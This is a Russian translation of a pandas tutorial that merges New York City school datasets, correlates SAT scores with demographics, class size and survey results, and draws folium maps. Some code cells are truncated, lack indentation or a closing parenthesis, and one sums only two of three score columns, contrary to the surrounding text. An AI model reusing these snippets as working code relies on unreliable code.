| | DBN | SCHOOL NAME | Num of SAT Test Takers | SAT Critical Reading Avg. Score | SAT Math Avg. Score | SAT Writing Avg. Score |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL STUDIES | 29 | 355 | 404 | 363 |
| 1 | 01M448 | UNIVERSITY NEIGHBORHOOD HIGH SCHOOL | 91 | 383 | 423 | 366 |
| 2 | 01M450 | EAST SIDE COMMUNITY SCHOOL | 70 | 377 | 402 | 370 |
| 3 | 01M458 | FORSYTH SATELLITE ACADEMY | 7 | 414 | 401 | 359 |
| 4 | 01M509 | MARTA VALLE HIGH SCHOOL | 44 | 390 | 433 | 384 |
Чтобы объединить эти датасеты, нужен способ уплотнить датасеты типа **class\_size** так, чтобы в них было по одной строке на каждую старшую школу. Если не получится — то не получится и сравнить оценки ЕГЭ с размерами класса. Мы сможем этого достичь, получше разобравшись в данных, а потом сделав некоторые агрегации.
По датасету **class\_size** - похоже, что *GRADE* и *PROGRAM TYPE* содержат разные оценки по каждой школе. Ограничив каждое поле единственным значением, мы сможем отбросить все строчки-дубликаты. В коде ниже мы:
* Выберем только те значения из class\_size, где поле GRADE - 09-12.
* Выберем только те значения из class\_size, где поле PROGRAM TYPE - GEN ED.
* Сгруппируем class\_size по DBN, и возьмём среднее по каждой колонке. По сути, мы найдем средний class\_size по каждой школе.
* Сбросим индекс, чтобы DBN снова добавился как колонка.
```
In [68]:
class_size = data["class_size"]
class_size = class_size[class_size["GRADE "] == "09-12"]
class_size = class_size[class_size["PROGRAM TYPE"] == "GEN ED"]
class_size = class_size.groupby("DBN").agg(np.mean)
class_size.reset_index(inplace=True)
data["class_size"] = class_size
```
Сгущаем остальные датасеты
--------------------------
Дальше нам надо ужать датасет **demographics**. Данные собраны за несколько лет по одним и тем же школам. Мы выберем только те строки, где поле *schoolyear* свежее всего.
```
In [69]:
demographics = data["demographics"]
demographics = demographics[demographics["schoolyear"] == 20112012]
data["demographics"] = demographics
```
Теперь нам нужно сжать датасет **math\_test\_results**. Он делится по значениям *Grade* и *Year*. Мы можем выбрать единственный класс за единственный год:
```
In [70]:
data["math_test_results"] = data["math_test_results"][data["math_test_results"]["Year"] == 2011]
data["math_test_results"] = data["math_test_results"][data["math_test_results"]["Grade"] ==
```
Наконец, **graduation** тоже надо уплотнить:
```
In [71]:
data["graduation"] = data["graduation"][data["graduation"]["Cohort"] == "2006"]
data["graduation"] = data["graduation"][data["graduation"]["Demographic"] == "Total Cohort"]
```
Очистка и исследование данных критичны перед работой над сутью проекта. Хороший, ~~годный~~целостный датасет поможет быстрее сделать анализ.
Вычисление агрегированных переменных
------------------------------------
Вычисление переменных может ускорить наш анализ возможностью делать сравнивание быстрее и в принципе давая возможность делать некоторые, невозможные без них, сравнения. Первое, что мы можем сделать — посчитать общий балл ЕГЭ из отдельных колонок *SAT Math Avg. Score*, *SAT Critical Reading Avg. Score*, и *SAT Writing Avg. Score*. В коде ниже мы:
* Преобразуем каждый балл ЕГЭ от строки к числу
* Сложим все столбцы и получим столбец sat\_score, суммарный балл ЕГЭ.
```
In [72]:
cols = ['SAT Math Avg. Score', 'SAT Critical Reading Avg. Score', 'SAT Writing Avg. Score']
for c in cols:
data["sat_results"][c] = data["sat_results"][c].convert_objects(convert_numeric=True)
data['sat_results']['sat_score'] = data['sat_results'][cols[0]] + data['sat_results'][cols[1]]
```
Далее нам надо распарсить координаты каждой школы, чтобы делать карты. Они позволят нам отметить положение каждой школы. В коде мы:
* Распарсим в столбцы широты и долготы столбец *Location 1*
* Преобразуем *lat* и *lon* к числам.
Выведем наши датасеты, посмотрим, что получилось:
```
In [74]:
for k,v in data.items():
print(k)
print(v.head())
```
**math\_test\_results**
| | DBN | Grade | Year | Category | Number Tested | Mean Scale Score | \ |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 111 | 01M034 | 8 | 2011 | All Students | 48 | 646 |
| 280 | 01M140 | 8 | 2011 | All Students | 61 | 665 |
| 346 | 01M184 | 8 | 2011 | All Students | 49 | 727 |
| 388 | 01M188 | 8 | 2011 | All Students | 49 | 658 |
| 411 | 01M292 | 8 | 2011 | All Students | 49 | 650 |
| | Level 1 # | Level 1 % | Level 2 # | Level 2 % | Level 3 # | Level 3 % | Level 4 # | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 111 | 15 | 31.3% | 22 | 45.8% | 11 | 22.9% | 0 |
| 280 | 1 | 1.6% | 43 | 70.5% | 17 | 27.9% | 0 |
| 346 | 0 | 0% | 0 | 0% | 5 | 10.2% | 44 |
| 388 | 10 | 20.4% | 26 | 53.1% | 10 | 20.4% | 3 |
| 411 | 15 | 30.6% | 25 | 51% | 7 | 14.3% | 2 |
| | Level 4 % | Level 3+4 # | Level 3+4 % |
| --- | --- | --- | --- |
| 111 | 0% | 11 | 22.9% |
| 280 | 0% | 17 | 27.9% |
| 346 | 89.8% | 49 | 100% |
| 388 | 6.1% | 13 | 26.5% |
| 411 | 4.1% | 9 | 18.4% |
**survey**
| | DBN | rr\_s | rr\_t | rr\_p | N\_s | N\_t | N\_p | saf\_p\_11 | com\_p\_11 | eng\_p\_11 | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 01M015 | NaN | 88 | 60 | NaN | 22.0 | 90.0 | 8.5 | 7.6 | 7.5 |
| 1 | 01M019 | NaN | 100 | 60 | NaN | 34.0 | 161.0 | 8.4 | 7.6 | 7.6 |
| 2 | 01M020 | NaN | 88 | 73 | NaN | 42.0 | 367.0 | 8.9 | 8.3 | 8.3 |
| 3 | 01M034 | 89.0 | 73 | 50 | 145.0 | 29.0 | 151.0 | 8.8 | 8.2 | 8.0 |
| 4 | 01M063 | NaN | 100 | 60 | NaN | 23.0 | 90.0 | 8.7 | 7.9 | 8.1 |
| | ... | eng\_t\_10 | aca\_t\_11 | saf\_s\_11 | com\_s\_11 | eng\_s\_11 | aca\_s\_11 | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | ... | NaN | 7.9 | NaN | NaN | NaN | NaN |
| 1 | ... | NaN | 9.1 | NaN | NaN | NaN | NaN |
| 2 | ... | NaN | 7.5 | NaN | NaN | NaN | NaN |
| 3 | ... | NaN | 7.8 | 6.2 | 5.9 | 6.5 | 7.4 |
| 4 | ... | NaN | 8.1 | NaN | NaN | NaN | NaN |
| | saf\_tot\_11 | com\_tot\_11 | eng\_tot\_11 | aca\_tot\_11 |
| --- | --- | --- | --- | --- |
| 0 | 8.0 | 7.7 | 7.5 | 7.9 |
| 1 | 8.5 | 8.1 | 8.2 | 8.4 |
| 2 | 8.2 | 7.3 | 7.5 | 8.0 |
| 3 | 7.3 | 6.7 | 7.1 | 7.9 |
| 4 | 8.5 | 7.6 | 7.9 | 8.0 |
**ap\_2010**
| | DBN | SchoolName | AP Test Takers | Total Exams Taken | Number of Exams with scores 3 4 or 5 |
| --- | --- | --- | --- | --- | --- |
| 0 | 01M448 | UNIVERSITY NEIGHBORHOOD H.S. | 39 | 49 | 10 |
| 1 | 01M450 | EAST SIDE COMMUNITY HS | 19 | 21 | s |
| 2 | 01M515 | LOWER EASTSIDE PREP | 24 | 26 | 24 |
| 3 | 01M539 | NEW EXPLORATIONS SCI,TECH,MATH | 255 | 377 | 191 |
| 4 | 02M296 | High School of Hospitality Management | s | s | s |
**sat\_results**
| | DBN | SCHOOL NAME | Num of SAT Test Takers | SAT Critical Reading Avg. Score | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL STUDIES | 29 | 355.0 |
| 1 | 01M448 | UNIVERSITY NEIGHBORHOOD HIGH SCHOOL | 91 | 383.0 |
| 2 | 01M450 | EAST SIDE COMMUNITY SCHOOL | 70 | 377.0 |
| 3 | 01M458 | FORSYTH SATELLITE ACADEMY | 7 | 414.0 |
| 4 | 01M509 | MARTA VALLE HIGH SCHOOL | 44 | 390.0 |
| | SAT Math Avg. Score | SAT Writing Avg. Score | sat\_score |
| --- | --- | --- | --- |
| 0 | 404.0 | 363.0 | 1122.0 |
| 1 | 423.0 | 366.0 | 1172.0 |
| 2 | 402.0 | 370.0 | 1149.0 |
| 3 | 401.0 | 359.0 | 1174.0 |
| 4 | 433.0 | 384.0 | 1207.0 |
**class\_size**
| | DBN | CSD | NUMBER OF STUDENTS / SEATS FILLED | NUMBER OF SECTIONS | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | 01M292 | 1 | 88.0000 | 4.000000 |
| 1 | 01M332 | 1 | 46.0000 | 2.000000 |
| 2 | 01M378 | 1 | 33.0000 | 1.000000 |
| 3 | 01M448 | 1 | 105.6875 | 4.750000 |
| 4 | 01M450 | 1 | 57.6000 | 2.733333 |
| | AVERAGE CLASS SIZE | SIZE OF SMALLEST CLASS | SIZE OF LARGEST CLASS | SCHOOLWIDE PUPIL-TEACHER RATIO |
| --- | --- | --- | --- | --- |
| 0 | 22.564286 | 18.50 | 26.571429 | NaN |
| 1 | 22.000000 | 21.00 | 23.500000 | NaN |
| 2 | 33.000000 | 33.00 | 33.000000 | NaN |
| 3 | 22.231250 | 18.25 | 27.062500 | NaN |
| 4 | 21.200000 | 19.40 | 22.866667 | NaN |
**demographics**
| | DBN | Name | schoolyear | \ |
| --- | --- | --- | --- | --- |
| 6 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20112012 |
| 13 | 01M019 | P.S. 019 ASHER LEVY | 20112012 |
| 20 | 01M020 | PS 020 ANNA SILVER | 20112012 |
| 27 | 01M034 | PS 034 FRANKLIN D ROOSEVELT | 20112012 |
| 35 | 01M063 | PS 063 WILLIAM MCKINLEY | 20112012 |
| | fl\_percent | frl\_percent | total\_enrollment | prek | k | grade1 | grade2 | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 6 | NaN | 89.4 | 189 | 13 | 31 | 35 | 28 |
| 13 | NaN | 61.5 | 328 | 32 | 46 | 52 | 54 |
| 20 | NaN | 92.5 | 626 | 52 | 102 | 121 | 87 |
| 27 | NaN | 99.7 | 401 | 14 | 34 | 38 | 36 |
| 35 | NaN | 78.9 | 176 | 18 | 20 | 30 | 21 |
| | ... | black\_num | black\_per | hispanic\_num | hispanic\_per | white\_num | \ |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 6 | ... | 63 | 33.3 | 109 | 57.7 | 4 |
| 13 | ... | 81 | 24.7 | 158 | 48.2 | 28 |
| 20 | ... | 55 | 8.8 | 357 | 57.0 | 16 |
| 27 | ... | 90 | 22.4 | 275 | 68.6 | 8 |
| 35 | ... | 41 | 23.3 | 110 | 62.5 | 15 |
| | white\_per | male\_num | male\_per | female\_num | female\_per |
| --- | --- | --- | --- | --- | --- |
| 6 | 2.1 | 97.0 | 51.3 | 92.0 | 48.7 |
| 13 | 8.5 | 147.0 | 44.8 | 181.0 | 55.2 |
| 20 | 2.6 | 330.0 | 52.7 | 296.0 | 47.3 |
| 27 | 2.0 | 204.0 | 50.9 | 197.0 | 49.1 |
| 35 | 8.5 | 97.0 | 55.1 | 79.0 | 44.9 |
**graduation**
| | Demographic | DBN | School Name | Cohort | \ |
| --- | --- | --- | --- | --- | --- |
| 3 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2006 |
| 10 | Total Cohort | 01M448 | UNIVERSITY NEIGHBORHOOD HIGH SCHOOL | 2006 |
| 17 | Total Cohort | 01M450 | EAST SIDE COMMUNITY SCHOOL | 2006 |
| 24 | Total Cohort | 01M509 | MARTA VALLE HIGH SCHOOL | 2006 |
| 31 | Total Cohort | 01M515 | LOWER EAST SIDE PREPARATORY HIGH SCHO | 2006 |
| | Total Cohort | Total Grads — n | Total Grads — % of cohort | Total Regents — n | \ |
| --- | --- | --- | --- | --- | --- |
| 3 | 78 | 43 | 55.1% | 36 |
| 10 | 124 | 53 | 42.7% | 42 |
| 17 | 90 | 70 | 77.8% | 67 |
| 24 | 84 | 47 | 56% | 40 |
| 31 | 193 | 105 | 54.4% | 91 |
| | Total Regents — % of cohort | Total Regents — % of grads | ... | Regents w/o Advanced — n | \ |
| --- | --- | --- | --- | --- | --- |
| 3 | 46.2% | 83.7% | ... | 36 |
| 10 | 33.9% | 79.2% | ... | 34 |
| 17 | 74.400000000000006% | 95.7% | ... | 67 |
| 24 | 47.6% | 85.1% | ... | 23 |
| 31 | 47.2% | 86.7% | ... | 22 |
| | Regents w/o Advanced — % of cohort | Regents w/o Advanced — % of grads | \ |
| --- | --- | --- | --- |
| 3 | 46.2% | 83.7% |
| 10 | 27.4% | 64.2% |
| 17 | 74.400000000000006% | 95.7% |
| 24 | 27.4% | 48.9% |
| 31 | 11.4% | 21% |
| | Local — n | Local — % of cohort | Local — % of grads | Still Enrolled — n | \ |
| --- | --- | --- | --- | --- | --- |
| 3 | 7 | 9% | 16.3% | 16 |
| 10 | 11 | 8.9% | 20.8% | 46 |
| 17 | 3 | 3.3% | 4.3% | 15 |
| 24 | 7 | 8.300000000000001% | 14.9% | 25 |
| 31 | 14 | 7.3% | 13.3% | 53 |
| | Still Enrolled — % of cohort | Dropped Out — n | Dropped Out — % of cohort |
| --- | --- | --- | --- |
| 3 | 20.5% | 11 | 14.1% |
| 10 | 37.1% | 20 | 16.100000000000001% |
| 17 | 16.7% | 5 | 5.6% |
| 24 | 29.8% | 5 | 6% |
| 31 | 27.5% | 35 | 18.100000000000001% |
**hs\_directory**
| | dbn | school\_name | boro | \ |
| --- | --- | --- | --- | --- |
| 0 | 17K548 | Brooklyn School for Music & Theatre | Brooklyn |
| 1 | 09X543 | High School for Violin and Dance | Bronx |
| 2 | 09X327 | Comprehensive Model School Project M.S. 327 | Bronx |
| 3 | 02M280 | Manhattan Early College School for Advertising | Manhattan |
| 4 | 28Q680 | Queens Gateway to Health Sciences Secondary Sc... | Queens |
| | building\_code | phone\_number | fax\_number | grade\_span\_min | grade\_span\_max | \ |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | K440 | 718-230-6250 | 718-230-6262 | 9 | 12 |
| 1 | X400 | 718-842-0687 | 718-589-9849 | 9 | 12 |
| 2 | X240 | 718-294-8111 | 718-294-8109 | 6 | 12 |
| 3 | M520 | 718-935-3477 | NaN | 9 | 10 |
| 4 | Q695 | 718-969-3155 | 718-969-3552 | 6 | 12 |
| | expgrade\_span\_min | expgrade\_span\_max | ... | priority05 | priority06 | priority07 | priority08 | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | NaN | NaN | ... | NaN | NaN | NaN | NaN |
| 1 | NaN | NaN | ... | NaN | NaN | NaN | NaN |
| 2 | NaN | NaN | ... | Then to New York City residents | NaN | NaN | NaN |
| 3 | 9 | 14.0 | ... | NaN | NaN | NaN | NaN |
| 4 | NaN | NaN | ... | NaN | NaN | NaN | NaN |
| | priority09 | priority10 | Location 1 | \ |
| --- | --- | --- | --- | --- |
| 0 | NaN | NaN | 883 Classon Avenue\nBrooklyn, NY 11225\n(40.67... |
| 1 | NaN | NaN | 1110 Boston Road\nBronx, NY 10456\n(40.8276026... |
| 2 | NaN | NaN | 1501 Jerome Avenue\nBronx, NY 10452\n(40.84241... |
| 3 | NaN | NaN | 411 Pearl Street\nNew York, NY 10038\n(40.7106... |
| 4 | NaN | NaN | 160-20 Goethals Avenue\nJamaica, NY 11432\n(40... |
| | DBN | lat | lon |
| --- | --- | --- | --- |
| 0 | 17K548 | 40.670299 | -73.961648 |
| 1 | 09X543 | 40.827603 | -73.904475 |
| 2 | 09X327 | 40.842414 | -73.916162 |
| 3 | 02M280 | 40.710679 | -74.000807 |
| 4 | 28Q680 | 40.718810 | -73.806500 |
Объединяем датасеты
-------------------
После всей подготовки наконец, мы можем объединить все датасеты по столбцу DBN. В итоге у нас получится датасет с сотнями столбцов, из всех исходных. При объединении важно отметить, что в некоторых датасетах нет тех школ, что есть в датасете **sat\_results**. Чтобы это обойти, нам надо объединять датасеты через outer join, тогда мы не потеряем данные. В реальном анализе отсутствие данных — обычное дело. Продемонстрировать возможность исследовать и справляться с таким отсутствием — важная часть портфолио.
Про разные типы джоинов можно почитать [здесь](http://pandas.pydata.org/pandas-docs/stable/merging.html).
В коде ниже мы:
* Пройдёмся по всем элементам словаря data
* Выведем количество неуникальных DBN в каждом
* Решим, как будем джоинить — внутренне или внешне.
* Объединим элемент с датафреймом **full** через столбец *DBN*.
```
In [75]:
flat_data_names = [k for k,v in data.items()]
flat_data = [data[k] for k in flat_data_names]
full = flat_data[0]
for i, f in enumerate(flat_data[1:]):
name = flat_data_names[i+1]
print(name)
print(len(f["DBN"]) - len(f["DBN"].unique()))
join_type = "inner"
if name in ["sat_results", "ap_2010", "graduation"]:
join_type = "outer"
if name not in ["math_test_results"]:
full = full.merge(f, on="DBN", how=join_type)
full.shape
survey
0
ap_2010
1
sat_results
0
class_size
0
demographics
0
graduation
0
hs_directory
0
Out[75]:
(374, 174)
```
Добавляем значений
------------------
Теперь, когда у нас есть наш полный датафрейм **full**, у нас есть практически вся информация для нашего анализа. Хотя ещё есть недостающие части. Мы можем захотеть скорреллировать оценки теста по углубленной программе с оценками ЕГЭ, но сначала надо будет преобразовывать эти столбцы к числам, а потом заполнить все пропущенные значения:
```
In [76]:
cols = ['AP Test Takers ', 'Total Exams Taken', 'Number of Exams with scores 3 4 or 5']
for col in cols:
full[col] = full[col].convert_objects(convert_numeric=True)
full[cols] = full[cols].fillna(value=0)
```
Далее, надо посчитать столбец *school\_dist*, который обозначает школьный округ. Он позволит нам сравнить школьные округа и рисовать окружную статистику с использованием карт округов, которые мы скачали:
```
In [77]:
full["school_dist"] = full["DBN"].apply(lambda x: x[:2])
```
Наконец, нам надо заполнить все пропущенные значения в **full** средним значением из колонки, чтобы посчитать корреляции
```
In [79]:
full = full.fillna(full.mean())
```
Считаем коррелляции
-------------------
Хороший способ поисследовать датасет и посмотреть, как столбцы связаны с тем, чем нужно — это посчитать корреляции. Это покажет, какие столбцы связаны с интересующим столбцом. Это можно сделать методом [corr](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.corr.html) в датафреймах Pandas. Чем ближе корреляция к 0 — тем слабее связь. Чем ближе к 1 — тем сильнее прямая связь. Чем ближе к -1 — тем сильнее обратная связь:
```
In [80]:
full.corr()['sat_score']
Out[80]:
Year NaN
Number Tested 8.127817e-02
rr_s 8.484298e-02
rr_t -6.604290e-02
rr_p 3.432778e-02
N_s 1.399443e-01
N_t 9.654314e-03
N_p 1.397405e-01
saf_p_11 1.050653e-01
com_p_11 2.107343e-02
eng_p_11 5.094925e-02
aca_p_11 5.822715e-02
saf_t_11 1.206710e-01
com_t_11 3.875666e-02
eng_t_10 NaN
aca_t_11 5.250357e-02
saf_s_11 1.054050e-01
com_s_11 4.576521e-02
eng_s_11 6.303699e-02
aca_s_11 8.015700e-02
saf_tot_11 1.266955e-01
com_tot_11 4.340710e-02
eng_tot_11 5.028588e-02
aca_tot_11 7.229584e-02
AP Test Takers 5.687940e-01
Total Exams Taken 5.585421e-01
Number of Exams with scores 3 4 or 5 5.619043e-01
SAT Critical Reading Avg. Score 9.868201e-01
SAT Math Avg. Score 9.726430e-01
SAT Writing Avg. Score 9.877708e-01
...
SIZE OF SMALLEST CLASS 2.440690e-01
SIZE OF LARGEST CLASS 3.052551e-01
SCHOOLWIDE PUPIL-TEACHER RATIO NaN
schoolyear NaN
frl_percent -7.018217e-01
total_enrollment 3.668201e-01
ell_num -1.535745e-01
ell_percent -3.981643e-01
sped_num 3.486852e-02
sped_percent -4.413665e-01
asian_num 4.748801e-01
asian_per 5.686267e-01
black_num 2.788331e-02
black_per -2.827907e-01
hispanic_num 2.568811e-02
hispanic_per -3.926373e-01
white_num 4.490835e-01
white_per 6.100860e-01
male_num 3.245320e-01
male_per -1.101484e-01
female_num 3.876979e-01
female_per 1.101928e-01
Total Cohort 3.244785e-01
grade_span_max -2.495359e-17
expgrade_span_max NaN
zip -6.312962e-02
total_students 4.066081e-01
number_programs 1.166234e-01
lat -1.198662e-01
lon -1.315241e-01
Name: sat_score, dtype: float64
```
Эти данные дают нам ряд подсказок, которые надо будет проработать:
* Общая численность в классах (*total\_enrollment*) сильно корреллирует с оценками ЕГЭ (*sat\_score*), чтоб удивительно, потому что, на первый взгляд, маленькие школы, которые лучше работают с отдельными студентами, должны иметь более высокие оценки.
* Процент женщин в школе (*female\_per*) позитивно коррелирует с оценками ЕГЭ, в то время как процент мужчин (*male\_per*) — негативно.
* Ни один результат опроса не коррелирует сильно с оценками ЕГЭ.
* Есть существенное расовое неравенство в оценках ЕГЭ (*white\_per*, *asian\_per*, *black\_per*, *hispanic\_per*).
* *ell\_percent* сильно коррелирует в обратную сторону с оценками ЕГЭ.
Каждый пункт — потенциальное место для исследования и истории на основе данных.
**Прим. перев.**На всякий случай напомню, что корреляция (и ковариация) показывают только меру линейной зависимости. Если связь есть, но не линейная а, скажем, квадратичная — корреляция ничего толкового не покажет.
Ну и, конечно же, корреляционная связь ни в коем роде не указывает на причину и следствие. Просто, что две величины склонны изменяться пропорционально. Ниже как раз пример с поиском действительной закономерности и разобран.
Определяем контекст
-------------------
Прежде, чем погружаться в исследование данных, надо бы определить контекст, как для нас самих, так и для тех, кто будет читать потом наш анализ. Хороший способ — исследовательские графики или карты. В нашем случае, мы нарисуем на карте месторасположение наших школ, что поможет читающим понять исследуемую нами проблему.
В коде ниже мы:
* Подготовим карту Нью-Йорка
* Добавим маркер на карту для каждой школы в городе
* Отрисуем карту
```
In [82]:
import folium
from folium import plugins
schools_map = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)
marker_cluster = folium.MarkerCluster().add_to(schools_map)
for name, row in full.iterrows():
folium.Marker([row["lat"], row["lon"]], popup="{0}: {1}".format(row["DBN"], row["school_name"])).add_to(marker_cluster)
schools_map.create_map('schools.html')
schools_map
Out[82]:
```
Карта в целом помогает, но сложно понять, где же больше всего в Нью-Йорке школ. Сделаем вместо этого тепловую карту:
```
In [84]:
schools_heatmap = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)
schools_heatmap.add_children(plugins.HeatMap([[row["lat"], row["lon"]] for name, row in full.iterrows()]))
schools_heatmap.save("heatmap.html")
schools_heatmap
Out[84]:
```
Карты округов
-------------
Тепловые карты хороши для отображения градиентов, но хочется что-то более структурированное, чтобы отразить разницу в оценках ЕГЭ по городу. Школьные округа подходят для отображения этой информации, т.к. у каждого округа своя администрация. В Нью-Йорке несколько дюжин школьных округов, и каждый занимает небольшую площадь.
Мы можем посчитать оценки за ЕГЭ по округу и нанести их на карту. В коде ниже мы:
* Сгруппируем **full** по школьному округу
* Посчитаем среднее в каждой колонке по каждому округу
* Преобразуем поле *school\_dist*, удалив нули в начале, чтобы оно соответствовало координатам наших округов
```
In [ ]:
district_data = full.groupby("school_dist").agg(np.mean)
district_data.reset_index(inplace=True)
district_data["school_dist"] = district_data["school_dist"].apply(lambda x: str(int(x))
```
Теперь мы можем нарисовать средний балл ЕГЭ по каждому школьному округу. Для этого прочитаем данные в формате [GeoJSON](http://geojson.org/), чтобы определить форму каждого округа, потом сопоставим каждую форму с оценкой с помощью столбца *school\_dist*, и, наконец, нарисуем график.
```
In [85]:
def show_district_map(col):
geo_path = 'schools/districts.geojson'
districts = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)
districts.geo_json(
geo_path=geo_path,
data=district_data,
columns=['school_dist', col],
key_on='feature.properties.school_dist',
fill_color='YlGn',
fill_opacity=0.7,
line_opacity=0.2,
)
districts.save("districts.html")
return districts
show_district_map("sat_score")
Out[85]:
```
Исследуем наполняемость и оценки ЕГЭ
------------------------------------
У нас теперь есть контекст на графике со школами, и оценки ЕГЭ по округам; люди, просматривающие наш анализ лучше поймут контекст датасета. Установив декорации, можем теперь приступить к исследованию тех аспектов, что мы уже установили во время поиска корреляций. Первый аспект — исследовать связь между числом студентов, посещающих школу, и оценками ЕГЭ.
Мы можем исследовать это через диаграмму рассеяния, которая сравнит наполняемость с оценками по всем школам:
```
In [87]:
%matplotlib inline
full.plot.scatter(x='total_enrollment', y='sat_score')
Out[87]:
```
Видим, что есть кластер слева внизу с низкой наполняемостью и оценками. За исключением него, есть слабая позитивная корреляция между оценками ЕГЭ и общей наполняемостью. График наших корреляций может выявить неожиданные закономерности.
Мы можем исследовать этот момент глубже, узнав названия школ с низкой наполняемостью и оценками:
```
In [88]:
full[(full["total_enrollment"] < 1000) & (full["sat_score"] < 1000)]["School Name"]
Out[88]:
34 INTERNATIONAL SCHOOL FOR LIBERAL ARTS
143 NaN
148 KINGSBRIDGE INTERNATIONAL HIGH SCHOOL
203 MULTICULTURAL HIGH SCHOOL
294 INTERNATIONAL COMMUNITY HIGH SCHOOL
304 BRONX INTERNATIONAL HIGH SCHOOL
314 NaN
317 HIGH SCHOOL OF WORLD CULTURES
320 BROOKLYN INTERNATIONAL HIGH SCHOOL
329 INTERNATIONAL HIGH SCHOOL AT PROSPECT
331 IT TAKES A VILLAGE ACADEMY
351 PAN AMERICAN INTERNATIONAL HIGH SCHOO
Name: School Name, dtype: object
```
Поиск в Гугле показывает, что большая часть этих школ для студентов, изучающих английский, и, как итог, с низкой наполняемостью. Это исследование показало, что не наполняемость в целом коррелирует с оценками ЕГЭ — коррелирует то, изучают ли ученики в школе английский как второй язык, или нет.
Исследование изучающих английский и оценок ЕГЭ
----------------------------------------------
Теперь мы знаем, что процент изучающих английский в школе связан с более низкими оценками ЕГЭ, и можем исследовать эту связь. Столбец *ell\_percent* - это процент изучающих английский в каждой школе. Можем построить диаграмму рассеяния по этой связи:
```
In [89]:
full.plot.scatter(x='ell_percent', y='sat_score')
Out[89]:
```
Похоже, есть группа школ с высоким *ell\_percentage* и с низким средним баллом ЕГЭ. Можем это исследовать на уровне округов, определяя процент изучающих английский в каждом округе и смотря, как он связан с оценкой по округу:
```
In [90]:
show_district_map("ell_percent")
Out[90]:
```
Как мы видим по двум картам округов, округа с более низким процентом англоизучающих имеют тенденцию к более высоким оценкам ЕГЭ, и наоборот.
Коррелируем оценки по опросам и оценки ЕГЭ
------------------------------------------
Логично было бы предположить, что результаты опросов учеников, родителей и учителей будут сильно коррелировать с оценками ЕГЭ. Разумно, что школы с более высокими учебными ожиданиями имеют тенденцию к более высоким баллам ЕГЭ. Для проверки этой теории построим график оценок ЕГЭ и различных показателей из опросов:
```
In [91]:
full.corr()["sat_score"][["rr_s", "rr_t", "rr_p", "N_s", "N_t", "N_p", "saf_tot_11", "com_tot_11", "aca_tot_11", "eng_tot_11"]].plot.bar()
Out[91]:
```
На удивление, больше всего коррелируют *N\_p* и *N\_s*, число участвовавших в опросе родителей и учеников соответственно. Оба сильно коррелируют с общей наполняемостью, так что скорее всего они испытывают влияние и *ell\_learners*. Ещё одна сильно коррелирующая метрика — *saf\_t\_11*. Это то, как оценивают безопасность школы ученики, родители и учителя. Логично, что, чем безопаснее школа — тем более комфортно ученикам там учиться. Хотя, больше ни один фактор, типа вовлечённости, общения и академических ожиданий, не коррелирует с оценками ЕГЭ. Это может объясняться тем, что в Нью-Йорке задают неправильные вопросы в опросах, или что предполагают влияние на эти оценки не тех факторов (если их цель — улучшить оценки ЕГЭ, то такого быть не должно).
Изучаем расы и оценки ЕГЭ
-------------------------
Ещё один аспект для исследования включает в себя расы и оценки ЕГЭ. Там была большая корреляция, и её график поможет нам понять, что происходит:
```
In [92]:
full.corr()["sat_score"][["white_per", "asian_per", "black_per", "hispanic_per"]].plot.bar()
Out[92]:
```
Похоже, высокий процент белых и азиатских учеников коррелирует с более высокими оценками ЕГЭ, но более высокий процент черных и испанцев коррелирует с более низкими оценками. Для испанских студентов это может быть следствием факта, что там много недавних иммигрантов, изучающих английский. Нанесём на карту процент испаноязычных по округу, чтобы увидеть корреляцию глазами:
```
In [93]:
show_district_map("hispanic_per")
Out[93]:
```
Похоже, какая-то корреляция с процентом англоизучающих есть, но надо копнуть глубже в этом и других направлениях расовых различий и оценок ЕГЭ.
Половые различия в оценках ЕГЭ
------------------------------
Последний аспект для исследования — связь между полом и оценками. Мы уже заметили, что более высокий процент женщин в школе имеет тенденцию к корреляции с более высокими баллами ЕГЭ. Мы можем этого отразить на столбчатой диаграмме:
```
In [94]:
full.corr()["sat_score"][["male_per", "female_per"]].plot.bar()
Out[94]:
```
Чтобы лучше разобраться в корреляции, сделаем диаграмму рассеяния между *female\_per* и *sat\_score*:
```
In [95]:
full.plot.scatter(x='female_per', y='sat_score')
Out[95]:
```
Похоже, есть кластер школ с высоким процентом женщин и очень высокими оценками ЕГЭ (справа вверху). Мы можем узнать названия школ этого кластера:
```
In [96]:
full[(full["female_per"] > 65) & (full["sat_score"] > 1400)]["School Name"]
Out[96]:
3 PROFESSIONAL PERFORMING ARTS HIGH SCH
92 ELEANOR ROOSEVELT HIGH SCHOOL
100 TALENT UNLIMITED HIGH SCHOOL
111 FIORELLO H. LAGUARDIA HIGH SCHOOL OF
229 TOWNSEND HARRIS HIGH SCHOOL
250 FRANK SINATRA SCHOOL OF THE ARTS HIGH SCHOOL
265 BARD HIGH SCHOOL EARLY COLLEGE
Name: School Name, dtype: object
```
Гугл нам объясняет, что это элитные школы, специализирующиеся на изобразительном искусстве. В этих школах больше процент женщин и выше оценки. Отсюда, скорее всего, корреляция между высоким процентом женщин и высокими оценками, и, наоборот, корреляция между высоким процентом мужчин и низкими оценками ЕГЭ.
**Прим. перев.**Замечательная первая диаграмма наглядно демонстрирует нам, что в сумме процент мужчин и женщин должен быть в каждой школе 100 (ну или близок к нему).
Оценки по углубленной программе
-------------------------------
